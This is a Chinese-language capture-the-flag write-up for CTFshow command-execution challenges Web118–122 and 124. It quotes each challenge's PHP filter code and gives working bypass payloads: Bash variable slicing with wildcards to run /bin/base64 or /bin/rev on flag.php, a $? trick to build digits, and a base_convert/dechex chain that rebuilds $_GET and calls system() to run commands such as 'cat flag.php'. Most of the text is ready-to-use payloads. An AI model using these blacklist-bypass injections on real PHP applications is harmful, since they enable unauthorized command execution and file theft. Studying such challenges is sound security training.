CTFshow-命令执行(Web118-122,124)
CTFshow-命令执行(Web118-122,124)
Web118
输入ls,cat 等脚本都不行,fuzz测试一下
我们的payload一般是cat/nl等命令
+flag.php
。flag.php
我们可以用通配符代替????.???
。cat/nl等命令
我们可以用Bash内置变量
。
环境变量PATH
一般是/bin
,题目路径PWD
是/var/www/html
。
但是题目过滤了数字,无法使用切片。换一种方式获取字符。
linux可以利用~
获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。
${IFS}可以,其他都不太行
${PATH:~A}${PWD:~A}
表示的就是PATH
的最后一个字母和PWD
的最后一个字母,组合起来就是nl
$PWD和${PWD} 表示当前所在的目录 /var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${SHLVL:~A} 1 代表数字1
```
${PATH:~A}${PWD:~A} ????.???
还有几种方法:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
${PATH:~A}${PWD:~A:${##}} ????.???
尝试构造/bin/cat flag.php或/bin/base64 flag.php
可以构造出/???/?????4 ???????? 4 的话可以通过${#RANDOM}少量多次爆破获得
这道题将1过滤了,所以利用SHLVL ,它是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
Web119
上题的nl方法用不了了PATH好像被过滤了
扩展一下Bash内置变量
构造字符:
${RANDOM} :随机的几个数
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录
SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
RANDOM:此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。
IFS:空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3
${PWD:${Z}:${#SHLVL}}???${PWD:${Z}:${#SHLVL}}?${USER:~A}? ??${USER:~A}?.???
/???/?a? ??a?.???
```
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
/bin/base64 flag.php 这里其实${IFS}可以不用直接用空格,因为没禁
Web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
- ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
- ${PWD::${#SHLVL}}???${PWD:${Z}:${#SHLVL}}?${USER:~A}? ????.???
Web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
- ${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
- ${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.??? 就是/bin/rev flag.php
Linux命令rev是将文件中的每行内容已字符为单位反向输出,即第一个字符最后输出,最后一个字符最先输出
Web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
PWD,#没了
执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。
数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
构造错误命令,使$?的结果为1,代替${##}来分割,可以用命令<A然后下一条命令中的$?就等价于1了,
一直发包就行了
Web124
<?php
error_reporting(0);
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
观察题目源码发现,过滤了大部分的东西,因此我们只能使用白名单的参数
但是题目的参数并不支持我们执行命令执行,因此我们要想办法绕过
于是我们想到了,让参数逃逸,这样无论我们输入什么都不被过滤
于是
c=$_GET[参数];&参数=...
这里我们的参数也被过滤了,但是有白名单,因此我们使用白名单里面的参数进行传参
但是$_GET被过滤了,怎么构造呢?
在白名单中我们发现有base_convert、dechex
等函数,看看想办法能不能让他构造参数
首先要构造_GET
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面
构造流程
base_convert('hex2bin',36,10) --> 37907361743
_GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324
我们首先将bin2hex('_GET');->'5f474554'
发现有字母,因此不行,想办法把16进制变成2进制并且返回其ASCII码,于是就要用到hex2bin()
函数,但是这个函数被禁用了,我们要想办法构造该函数base_convert('hex2bin',36,10);-> 37907361743
(因为36进制中有数字0-9和字母a-z)
然后我们构造_GET=base_convert(37907361743,10,36)(dechex(1598506324));
再利用变量的嵌套$$pi=$_GET
然后利用变量的索引{}
绕过[]
{abs}
表示字符串中的数组或字符索引,实际上是访问某个数组元素或字符串中的特定字符。
如
$example{abs}等价于$example['abs']
也就是
$$pi{abs}($$pi{acos});&abs=system&acos=ls
等价于$_GET[abs]($_GET[acos])
等价于system(ls)
于是payload
?c=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
```
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图
- 感谢你赐予我前进的力量